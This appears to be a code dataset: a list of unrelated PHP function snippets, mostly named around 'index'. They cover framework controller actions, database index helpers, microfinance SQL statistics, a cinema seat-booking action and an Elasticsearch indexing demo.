"function doIndex() {\n $ret = array();\n if( $this->statement->rowCount() > 0 ) {\n $data = $this->statement->fetchAll($this->fetch_style);\n } else {\n $data = array();\n }\n\n foreach( $data as $line ) {\n if( !isset($line[$this->index[0]]) ) {\n throw new Exception(\n \"Index '\" . $this->index[0] . \"' does not exist in data.\"\n );\n }\n $key = $line[$this->index[0]];\n\n if( count($this->index) == 1 ) {\n $ret[$key] = $line;\n } else {\n $key2 = $line[$this->index[1]];\n if( !isset($ret[$key]) ) $ret[$key] = array();\n $ret[$key][$key2] = $line;\n }\n }\n if( $this->sticky == false ) $this->setDefaults();\n return( $ret );\n }", "function _index() {\n\t\t$index = array();\n\t\t$data = $this->model->data[$this->model->name];\n\t\tforeach ($data as $key => $value) {\n\t\t\tif (is_string($value)) {\n\t\t\t\t$columns = $this->model->getColumnTypes();\n\t\t\t\tif ($key != $this->model->primaryKey && isset($columns[$key]) && in_array($columns[$key],array('text','varchar','char','string'))) {\n\t\t\t\t\t$index []= strip_tags(html_entity_decode($value,ENT_COMPAT,'UTF-8'));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// This is the custom part\n\t\t$tag_results = $this->find('all', array(\n\t\t\t'conditions' => array('Article.id' => $this->id),\n\t\t\t'fields' => array('Article.id'),\n\t\t\t'contain' => array('Tag')\n\t\t));\n\t\techo '<pre>'.print_r($tag_results, true).'</pre>';\n\t\t\n\t\t$index = join('. ',$index);\n\t\t$index = iconv('UTF-8', 'ASCII//TRANSLIT', $index);\n\t\t$index = preg_replace('/[\\ ]+/',' ',$index);\n\t\treturn $index;\n\t}", "public function findForIndex() {\n\t\treturn $this->findAll();\n\t}", "protected function getIndex()\n\t{ \n /*\n $sm = $this->account->getServiceManager();\n $dbh = $sm->get(\"Db\");\n $this->dbh = $dbh;\n\t\treturn new \\Netric\\EntityQuery\\Index\\Pgsql($this->account, $dbh);\n * \n */\n $this->dbh = $this->account->getServiceManager()->get(\"Db\");\n return new \\Netric\\EntityQuery\\Index\\Pgsql($this->account);\n\t}", "public function getIndex() {return $this->index;}", "function index($model) {\n\t\t$index = array();\n\t\t$table = $this->fullTableName($model);\n\t\tif ($table) {\n\t\t\t$indexes = $this->query('SHOW INDEX FROM ' . $table);\n\t\t\tif (isset($indexes[0]['STATISTICS'])) {\n\t\t\t\t$keys = Set::extract($indexes, '{n}.STATISTICS');\n\t\t\t} else {\n\t\t\t\t$keys = Set::extract($indexes, '{n}.0');\n\t\t\t}\n\t\t\tforeach ($keys as $i => $key) {\n\t\t\t\tif (!isset($index[$key['Key_name']])) {\n\t\t\t\t\t$col = array();\n\t\t\t\t\t$index[$key['Key_name']]['column'] = $key['Column_name'];\n\t\t\t\t\t$index[$key['Key_name']]['unique'] = intval($key['Non_unique'] == 0);\n\t\t\t\t} else {\n\t\t\t\t\tif (!is_array($index[$key['Key_name']]['column'])) {\n\t\t\t\t\t\t$col[] = $index[$key['Key_name']]['column'];\n\t\t\t\t\t}\n\t\t\t\t\t$col[] = $key['Column_name'];\n\t\t\t\t\t$index[$key['Key_name']]['column'] = $col;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $index;\n\t}", "public function getIndex() {\n\t\t$clients = DataClient::get();\n\t\tforeach ($clients as $client) {\n\n\t\t\t$client->client_id = $client->id;\n\t\t\t$client->save();\n\t\t}\n\t}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('Area4CampeonatoBundle:Partido')->findAll();\n //$e_h_p = $em->getRepository('Area4CampeonatoBundle:Equipo_has_Partido')->findAll();\n\n return array('entities' => $entities);\n }", "public function index()\n {\n return Auto::with('type', 'organizations', 'employers', 'employers.position')->get();\n }", "public function getModelIndex();", "public function index()\n {\n //Não vai existir\n }", "public function indexes()\n {\n return array_merge(parent::indexes(), array(\n 'userId' => array(\n 'key' => array(\n 'userId' => \\EMongoCriteria::SORT_ASC,\n ),\n 'unique' => true,\n ),\n ));\n }", "function getIndicesCouverture($list_agence) {\n\n global $dbHandler;\n global $global_monnaie,$global_id_agence;\n\n $db = $dbHandler->openConnection();\n $DATA['nombre_credits'] = 0;\n $DATA['encours_brut'] = 0;\n $DATA['nombre_epargne'] = 0;\n $DATA['total_epargne'] = 0;\n $DATA['taux_renouvellement_credits'] = 0;\n $DATA['first_credit_moyen'] = 0;\n $DATA['first_credit_median'] = 0;\n $DATA['credit_moyen'] = 0;\n $DATA['credit_median'] = 0;\n $DATA['epargne_moyen_cpte'] = 0;\n $DATA['epargne_median_cpte'] = 0;\n $DATA['epargne_moyen_client'] = 0;\n $DATA['epargne_median_client'] = 0;\n foreach($list_agence as $key_id_ag =>$value) {\n //Parcours des agences\n setGlobalIdAgence($key_id_ag);\n // Nombre de crédits actifs\n $sql = \"SELECT COUNT(*) FROM ad_dcr WHERE id_ag=$global_id_agence AND etat = 5 OR etat = 7 OR etat = 13 OR etat = 14 OR etat = 15\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $nombre_credits = $row[0];\n\n // Encours brut\n $sql = \"SELECT SUM(calculeCV(solde_cap, devise, '$global_monnaie')) FROM ad_etr, ad_dcr, adsys_produit_credit WHERE ad_etr.id_ag=$global_id_agence AND ad_etr.id_ag=ad_dcr.id_ag AND ad_dcr.id_ag=adsys_produit_credit.id_ag AND ad_etr.id_doss = ad_dcr.id_doss AND ad_dcr.id_prod = adsys_produit_credit.id AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15)\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $encours_brut = $row[0];\n\n // Nombre de comptes d'épargne\n $sql = \"SELECT COUNT(*) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 \";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $nombre_epargne = $row[0];\n\n // Volume total d'épargne\n $sql = \"SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $total_epargne = $row[0];\n\n // Nombre de crédits relais consentis\n $sql = \"SELECT count(id_doss) FROM ad_dcr a WHERE (a.id_ag=$global_id_agence) AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND a.date_etat BETWEEN date_trunc('year', current_date) AND current_date AND EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 and b.date_etat < a.date_etat AND a.id_client = b.id_client)\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credits_relais = $row[0];\n\n // Crédits remboursés\n $sql = \"SELECT count(id_doss) FROM ad_dcr WHERE id_ag=$global_id_agence AND etat = 6 AND date_etat BETWEEN date_trunc('year', current_date) AND current_date\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credits_rembourses = $row[0];\n\n // Calcul du taux\n if ($credits_rembourses > 0) {\n $taux_renouvellement_credits = $credits_relais / $credits_rembourses;\n } else {\n $taux_renouvellement_credits = NULL;\n }\n\n // Moyenne premiers crédits\n $sql = \"SELECT AVG(calculeCV(cre_mnt_octr, devise, '$global_monnaie')) FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date AND NOT EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 AND b.date_etat < a.cre_date_debloc AND a.id_client = b.id_client)\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $first_credit_moyen = $row[0];\n\n // Médiane premiers crédits\n $sql = \"SELECT calculeCV(cre_mnt_octr, devise, '$global_monnaie') FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date AND NOT EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 AND b.date_etat < a.cre_date_debloc AND a.id_client = b.id_client) ORDER BY calculeCV(cre_mnt_octr, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredit = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredit, $row[0]);\n }\n\n $taille = sizeof($tableauCredit);\n if ($taille == 0) {\n $first_credit_median = NULL;\n }\n elseif ($taille % 2 == 1) {\n $first_credit_median = $tableauCredit[($taille -1) / 2];\n }\n else {\n $first_credit_median = ($tableauCredit[($taille) / 2] + $tableauCredit[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne crédit\n $sql = \"SELECT AVG(calculeCV(cre_mnt_octr, devise, '$global_monnaie')) FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credit_moyen = $row[0];\n\n // Médiane crédit\n $sql = \"SELECT calculeCV(cre_mnt_octr, devise, '$global_monnaie') FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (etat = 5 OR etat = 7 OR etat = 13 OR etat = 14 OR etat = 15)\n ORDER BY calculeCV(cre_mnt_octr, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredit = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredit, $row[0]);\n }\n\n $taille = sizeof($tableauCredit);\n if ($taille == 0) {\n $credit_median = NULL;\n }\n elseif ($taille % 2 == 1) {\n $credit_median = $tableauCredit[($taille -1) / 2];\n }\n else {\n $credit_median = ($tableauCredit[($taille) / 2] + $tableauCredit[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne épargne par compte\n $sql = \"SELECT AVG(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $epargne_moyen_cpte = $row[0];\n\n // Médiane épargne par compte\n $sql = \"SELECT calculeCV(solde, devise, '$global_monnaie') FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0 ORDER BY calculeCV(solde, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredits = array ();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredits, $row[0]);\n }\n\n $taille = sizeof($tableauCredits);\n if ($taille == 0) {\n $epargne_median_cpte = NULL;\n }\n elseif ($taille % 2 == 1) {\n $epargne_median_cpte = $tableauCredits[($taille -1) / 2];\n }\n else {\n $epargne_median_cpte = ($tableauCredits[($taille) / 2] + $tableauCredits[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne épargne par client\n $sql = \"SELECT AVG(t.sum) FROM (SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0 GROUP BY id_titulaire) AS t\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $epargne_moyen_client = $row[0];\n\n // Médiane épargne par client\n $sql = \"SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) AS solde, id_titulaire FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND solde <> 0 GROUP BY id_titulaire ORDER BY solde\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauEpargne = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauEpargne, $row[0]);\n }\n\n $taille = sizeof($tableauEpargne);\n if ($taille == 0) {\n $epargne_median_client = NULL;\n }\n elseif ($taille % 2 == 1) {\n $epargne_median_client = $tableauEpargne[($taille -1) / 2];\n }\n else {\n $epargne_median_client = ($tableauEpargne[($taille) / 2] + $tableauEpargne[($taille / 2) - 1]) / 2;\n }\n\n // Tableau de données\n $DATA['nombre_credits'] += $nombre_credits;\n $DATA['encours_brut'] += $encours_brut;\n $DATA['nombre_epargne'] += $nombre_epargne;\n $DATA['total_epargne'] += $total_epargne;\n $DATA['taux_renouvellement_credits'] += $taux_renouvellement_credits;\n $DATA['first_credit_moyen'] += $first_credit_moyen;\n $DATA['first_credit_median'] += $first_credit_median;\n $DATA['credit_moyen'] += $credit_moyen;\n $DATA['credit_median'] += $credit_median;\n $DATA['epargne_moyen_cpte'] += $epargne_moyen_cpte;\n $DATA['epargne_median_cpte'] += $epargne_median_cpte;\n $DATA['epargne_moyen_client'] += $epargne_moyen_client;\n $DATA['epargne_median_client'] += $epargne_median_client;\n }\n $dbHandler->closeConnection(true);\n\n return $DATA;\n}", "public function index()\n {\n return DB::table('contratos')\n ->join('imovels', 'contratos.id_imovel', '=', 'imovels.id')\n ->select('*','contratos.id as id_contrato')\n ->get();\n }", "public function accionIndex(){\n \n if(!Sistema::app()->acceso()->hayUsuario()){\n Sistema::app()->paginaError(400,\"Solos los usuarios registrados pueden acceder\");\n exit;\n }\n\n //llega el pase de la pelicula\n $codPase = intval($_GET[\"id\"]);\n \n //obtener las entradas compradas para ese pase, esa pelicula y esa hora\n $entUsuarios = new Entradas_usuarios();\n $pasePelicula = new Pases_peliculas();\n $sala = new Salas();\n $asientos = new Asientos();\n $entAnonimos = new Entradas_anonimos();\n \n \n $pasePelicula->buscarPorId($codPase);//CONTROLAR QUE EXISTE.\n //CONTROLAR TAMBIEN SI HA CADUCADO.\n \n //obtengo la sala donde se proyecta ese pase\n $sala->buscarPorId($pasePelicula->cod_sala);\n \n \n $opFil[\"select\"] = \"cod_asiento, fila, columna\";\n $opFil[\"where\"] = \"t.cod_sala =\".$pasePelicula->cod_sala;\n $opFil[\"order by\"] = \"fila, columna\";\n \n $totalAsientos = $asientos->buscarTodos($opFil);\n \n //tengo todos las entradas para ese pase.\n $opFiltrado[\"where\"] = \"t.cod_pase_pelicula = \".$codPase;\n $entradasUsu = $entUsuarios->buscarTodos($opFiltrado);\n $entradasAnon = $entAnonimos->buscarTodos($opFiltrado);\n \n $filas = $sala->n_filas;\n $columnas = $sala->n_columnas;\n $capacidad = $sala->capacidad;\n \n \n $asientosOcupados = [];\n \n //Si no hay entradas compreadas para este pase, no se ejecuta ---\n \n if(!empty($entradasUsu)||!empty($entradasAnon)){\n $asientosOcupados = $this->asientosOcupados($entradasUsu, $entradasAnon);\n }\n \n //if(!empty($entradasAnonimos)){\n // $asientosOcupados2 = $this->asientosOcupados($entradasAnonimos);\n // var_dump($asientosOcupados2);\n //}\n \n if(isset($_POST[\"butacas\"])){\n \n //llega el imput que almacena en un string creado en js\n //con un string con todos los asientos seleccionados\n $asientosSel = explode(\",\", $_POST[\"butacas\"]);\n \n Sistema::app()->sesion()->set(\"butacas\",$asientosSel);\n Sistema::app()->sesion()->set(\"codPase\",$codPase);\n \n Sistema::app()->irAPagina(array(\"entradasUsuarios\",\"mostrarResumen\"));\n exit;\n }\n \n \n $this->dibujaVista(\"mostrarCine\",array(\"asientosOcupados\"=>$asientosOcupados,\n \"filas\"=>$filas,\n \"cols\"=>$columnas,\n \"codPase\"=>$codPase,\n \"codAsientos\"=>$totalAsientos\n ),\n \"CINES MELERO\");\n \n \n \n }", "function get_fields(){\n //\n //Start with an empty array that stores the resolved column attributes \n $fields=[];\n // \n //Get the indexed column names\n $index_names = $this->entity->indices;\n //\n //Test if the entity is properly constructed with idices for identification\n $x = \\count($index_names);\n //\n //If the entity does not have an index through an exception since we cannot \n //create an identifier\n if( $x === 0){\n throw new \\Exception(\"Table: {$this->entity->name} does not have indexes check its construction\");\n }\n //\n //Get the first index since I are only using the first index to retrieve \n //the indexed column names\n $index = array_values($index_names)[0];\n //\n //loop through the indexes and push to the fields if it is an attribute \n //else resolve it to its constituent column attributes \n foreach ($index as $cname){\n //\n //Get the root column that if by the indexed name \n $col= $this->entity->columns[$cname];\n //\n //Test if the column is an attribute \n //The column is an attribute it does not need to be resolved \n if($col instanceof \\column_attribute){\n //\n //Push the column it is already resolved \n array_push($fields, new column($col));\n }\n //\n //The column is a foreign it needs to resolved by first principle\n //steps\n //1. get the referenced table name \n //2. get the referenced entity\n //3. get resolved indexes of the referenced entity\n else{\n //\n //1. Get the referenced table name \n $ref= $col->ref_table_name;\n //\n //Test if this entity exists in the join entities list\n //1 if it does not exist push \n $en= array_search($ref, $this->join_entities);\n if ($en === false){\n //\n array_push($this->join_entities, $ref);\n }\n //\n //2. Get the referenced entity \n $entity1= $this->entity->dbase->entities[$ref];\n //\n //Repeat this process for the referenced entity \n $cols2= $this->resolve_ref($entity1);\n //\n //loop through the fields of the new identify pushing them to the \n //fields \n foreach ( $cols2 as $coll) {\n //\n //push the column attribute\n array_push($fields, $coll);\n }\n }\n \n }\n //\n //Update and include any name, title, description , or id fields\n $fields1=$this->update_fields($fields);\n //\n //return the collection of the resolved columns \n return $fields1;\n }", "function isIndexable()\n {\n return true;\n }", "public function collectionsWithIndexAttributeAreIndexed()\n {\n $entityWithIndexedRelation = new Fixtures\\EntityWithIndexedRelation();\n for ($i = 0; $i < 3; $i++) {\n $annotatedIdentitiesEntity = new Fixtures\\AnnotatedIdentitiesEntity();\n $annotatedIdentitiesEntity->setAuthor('Author' . ((string) $i));\n $annotatedIdentitiesEntity->setTitle('Author' . ((string) $i));\n $entityWithIndexedRelation->getAnnotatedIdentitiesEntities()->add($annotatedIdentitiesEntity);\n }\n\n $entityWithIndexedRelation->setRelatedIndexEntity('test', new Fixtures\\RelatedIndexEntity());\n\n $this->persistenceManager->add($entityWithIndexedRelation);\n $this->persistenceManager->persistAll();\n $id = $this->persistenceManager->getIdentifierByObject($entityWithIndexedRelation);\n\n // Reset persistence manager to make sure fresh instances will be created\n $this->persistenceManager->clearState();\n unset($entityWithIndexedRelation);\n\n $entityWithIndexedRelation = $this->persistenceManager->getObjectByIdentifier($id, Fixtures\\EntityWithIndexedRelation::class);\n for ($i = 0; $i < 3; $i++) {\n self::assertArrayHasKey('Author' . (string) $i, $entityWithIndexedRelation->getAnnotatedIdentitiesEntities());\n }\n self::assertArrayNotHasKey(0, $entityWithIndexedRelation->getAnnotatedIdentitiesEntities());\n\n self::assertArrayHasKey('test', $entityWithIndexedRelation->getRelatedIndexEntities());\n self::assertArrayNotHasKey(0, $entityWithIndexedRelation->getRelatedIndexEntities());\n self::assertInstanceOf(Fixtures\\RelatedIndexEntity::class, $entityWithIndexedRelation->getRelatedIndexEntities()->get('test'));\n }", "function &getIndexes(){\n\t\treturn array();\n\t}", "public function refreshEntitySearchIndex()\n {\n return $this->start()->uri(\"/api/entity/search\")\n ->put()\n ->go();\n }", "function get_index()\r\n\t{\r\n\r\n\t}", "function putIndex(){\n\n }", "function putIndex(){\n\n }", "public function index()\n {\n return Entity::all();\n }", "public function admin_index() {\r\n\t\t$this->data = $this->{$this->modelClass}->find('all');\r\n }", "public function indexAsistenciaDiaria()\n {\n try {\n $dbm = new DbmControlescolar($this->get(\"db_manager\")->getEntityManager());\n $ciclo = $dbm->getRepositoriosById(\"Ciclo\", \"activo\", 1);\n $nivel = $dbm->getRepositoriosModelo(\"Nivel\", \n [\"d.nivelid, d.nombre\"], \n [[\"nivelid is not null and cn.asistenciapordia = 1 and d.activo = 1 \"]], false, true, [\n [\"entidad\" => \"CeConfiguracionnivel\", \"alias\" => \"cn\", \"left\" => false, \"on\" => \"cn.configuracionnivelid = d.configuracionnivelid\"]\n ]);\n $grado = $dbm->getRepositoriosById('Grado', 'activo', 1);\n $semestre = $dbm->getRepositoriosById('CeSemestre', 'activo', 1);\n $grupo = $dbm->getRepositoriosById('CeGrupo', 'tipogrupoid', 1);\n\t\t\t$periodoeval = $dbm->getRepositoriosModelo(\"CePeriodoevaluacion\", [\"d.periodoevaluacionid, d.descripcion, IDENTITY(c.cicloid) as cicloid, GROUPCONCAT(DISTINCT IDENTITY(g.gradoid)) as gradoid\"],\n\t\t\t\t[], false, false, [\n\t\t\t\t[\"entidad\" => \"CeConjuntoperiodoevaluacion\", \"alias\" => \"c\", \"left\" => false, \"on\" => \"c.conjuntoperiodoevaluacionid = d.conjuntoperiodoevaluacionid\"],\n\t\t\t\t[\"entidad\" => \"CeGradoporconjuntoperiodoescolar\", \"alias\" => \"g\", \"left\" => false, \"on\" => \"g.conjuntoperiodoevaluacionid = d.conjuntoperiodoevaluacionid\"],\n ], 'd.periodoevaluacionid');\n $param = $dbm->getRepositorioById('Parametros', 'parametrosid', 156);\n\n\n $array = array(\"ciclo\" => $ciclo, \n \"nivel\" => $nivel, \n \"grado\" => $grado, \n \"semestre\" => $semestre,\n \"grupo\" => $grupo,\n \"periodos\" => $periodoeval,\n \"param\" => $param && $param->getValor() ? intval($param->getValor()) : null\n );\n return new View($array, Response::HTTP_OK);\n } catch (\\Exception $e) {\n return new View($e->getMessage(), Response::HTTP_BAD_REQUEST);\n }\n }", "public function isIndex();", "public function admin_index() {\r\n \r\n $sucursales = $this->Sucursal->find(\"all\");\r\n $this->set(compact('sucursales'));\r\n \r\n }", "public function defineIndexes()\n\t{\n\t\treturn array();\n\t}", "public function isIndexed() {}", "public function isIndexed() {}", "public function isIndexed() {}", "public function index()\n {\n return OrdenTrabajo::all();\n\n }", "function indexFields()\n\t{\n\t\tif (empty($this->name)) {\n\t\t\treturn null;\n\t\t}\n\n\t\t$set = array();\n\t\t// Field is not tokenized nor indexed, but is stored in the index.\n\n\t\t// Field is not tokenized, but is indexed and stored within the index\n\t\t$set[] = Zend_Search_Lucene_Field::Keyword('link','/' . strtolower(get_class($this)) . '/view/' . $this->id);\n\t\t$set[] = Zend_Search_Lucene_Field::Keyword('name',$this->name);\n\t\t// $set[] = Zend_Search_Lucene_Field::Keyword('title',$this->name);\n\n\t\t// Field is tokenized and indexed, but is not stored in the index.\n\t\t$content = null;\n\t\tforeach ($this->_properties as $p) {\n\t\t\t$x = substr($p,-2);\n\t\t\tif ( ($x=='id') || ($x=='ts') ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$content.= $this->$p . ' ';\n\t\t}\n\t\t$set[] = Zend_Search_Lucene_Field::UnStored('text',trim($content));\n\t\treturn $set;\n\t}", "public function getAll(Index $index): iterable;", "public function index()\n {\n return $this->pedido->with(\n 'categoria',\n 'servico',\n 'envios',\n 'envios.prestador',\n 'interessados',\n 'interessados.prestador',\n 'situacao'\n )->where('ativo',1)->orderBy('id','DESC')->get();\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MinsalsifdaBundle:SifdaEquipoTrabajo')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function index()\n\t{\n\t\t$data['result']=NULL;\n\t\t$data['show']=NULL;\n\t\t$this->setIndex($data);\n\t}", "public function createIndex(): void;", "public function _index(){\n\t $this->_list();\n\t}", "public function actionIndex() {\n $ventas = new Ventas();\n\n $ventasTotales = new CArrayDataProvider($ventas->Ingresadas(), array(\n 'id' => 'PLAZA',\n 'sort' => array(\n 'attributes' => array(\n 'PLAZA', 'INGRESADAS', 'INSTALADAS'\n ),\n ),\n 'pagination' => array(\n 'pageSize' => 100,\n ),\n ));\n \n $ventas = new Ventas();\n $ventasIngresadas = $ventas->get_Ingresadas(1);\n $ventasInstaladas = $ventas->get_Instaladas(1);\n\n $this->render('indexs', array('ventas' => $ventasTotales,'ventasIngresadas'=>$ventasIngresadas,'ventasInstaladas'=>$ventasInstaladas));\n }", "public function rebuildIndex()\n {\n $this->elastic->deleteIndex(self::INDEX);\n $this->elastic->addIndexCompanion(self::INDEX);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DGPlusbelleBundle:SesionVentaTratamiento')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function elasticsearchData()\n {\n // set the index mapping\n // i change all the type to text\n // as string remove in 6.0\n // https://www.elastic.co/guide/en/elasticsearch/reference/master/mapping.html\n $params =\n [\n 'index' => 'pets',\n 'type' => 'bird',\n 'body' =>\n [\n\n 'bird' =>\n [\n '_source' =>\n [\n 'enabled' => true,\n ],\n 'properties' =>\n [\n \"name\" => array(\"type\" => \"text\"),\n \"age\" => array(\"type\" => \"long\"),\n \"gender\" => array(\"type\" => \"text\"),\n \"color\" => array(\"type\" => \"text\"),\n \"braveBird\" => array(\"type\" => \"boolean\"),\n \"home town\" => array(\"type\" => \"text\"),\n \"about\" => array(\"type\" => \"text\"),\n \"registered\" => array(\"type\" => \"date\"),\n ],\n\n ],\n ],\n ];\n\n// this to create thew type\n// $response = $this -> elasticsearch -> indices() -> putMapping($params);\n// dump($response);\n\n\n // Get A mapping\n $params =\n [\n 'index' => 'pets',\n 'type' => 'bird',\n ];\n\n $response = $this -> elasticsearch -> indices() -> getMapping($params);\n dump($response);\n // https://www.elastic.co/blog/removal-of-mapping-types-elasticsearch\n // since the are no two types for the same index\n // i delete the old one\n // with curl -XDELETE http://elasticsearch.local:9200/pets\n // https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-create-index.html\n // then create new index with :\n // in browser in extension\n // PUT pets\n\n\n // Index a document\n $params = [\n 'index' => 'pets',\n 'type' => 'bird',\n 'id' => '1',\n 'body' => [\n 'name' => 'Charlie Shittles',\n 'age' => '13',\n 'gender' => 'male',\n 'color' => 'brown',\n 'braveBird' => true,\n 'home town' => 'Phoenix, Arizona',\n 'about' => 'Lore ipsum dolor sit amet, consectetur\n adipiscing elit. Maecenas pharetra lobortis tristique. Magna aute enim officia quis ad in duis ad in duis partiatur. Inproident eiusmo/pets/dog/1/d et excepteur quis in voluptate qui culpa sint dolore. Ad eu sint fugiat deserunt proident minim. Deserunt ea commodo dolor anim sunt deserunt.',\n 'registered' => date('Y-m-d'),\n ],\n ];\n $response = $this -> elasticsearch -> index($params);\n dump($response);\n\n // Bulk index documents\n $faker = Faker ::create();\n\n $params = [];\n\n for ($i = 0 ; $i < 100 ; $i ++) {\n $params[ 'body' ][] = [\n 'index' => [\n '_index' => 'pets',\n '_type' => 'bird',\n\n ],\n ];\n $gender = $faker -> randomElement(['male', 'female']);\n $age = $faker -> numberBetween(1, 15);\n $params[ 'body' ][] =\n [\n 'name' => $faker -> name($gender),\n 'age' => $age,\n 'gender' => $gender,\n 'color' => $faker -> safeColorName,\n 'braveBird' => $faker -> boolean,\n 'home town' => \"{$faker->city}, {$faker->state}\",\n 'about' => $faker -> realText(),\n 'registered' => $faker -> dateTimeBetween(\"-{$age} years\", 'now') -> format('Y-m-d'),\n\n ];\n\n\n }\n\n $response = $this -> elasticsearch -> bulk($params);\n dump($response);\n\n\n }", "function masterAllIndexes() {\n $this->db_master->executeSQL(\"SELECT \" . $this->idx_master . \" from \" . $this->db_master->database . \".\" . $this->table_master);\n }", "protected function flushIndex()\n {\n $this->canIndex();\n /**\n * Set indexer to use mview \n */\n $this->indexer->setScheduled(true);\n\n $writeAdapter = $this->resourceConnection->getConnection('core_write');\n\n /**\n * Flush all old data \n */\n $indexTable = $this->resourceConnection->getTableName('bazaarvoice_index_product');\n $writeAdapter->truncateTable($indexTable);\n $changelogTable = $this->resourceConnection->getTableName('bazaarvoice_product_cl');\n $writeAdapter->truncateTable($changelogTable);\n\n /**\n * Setup dummy rows \n 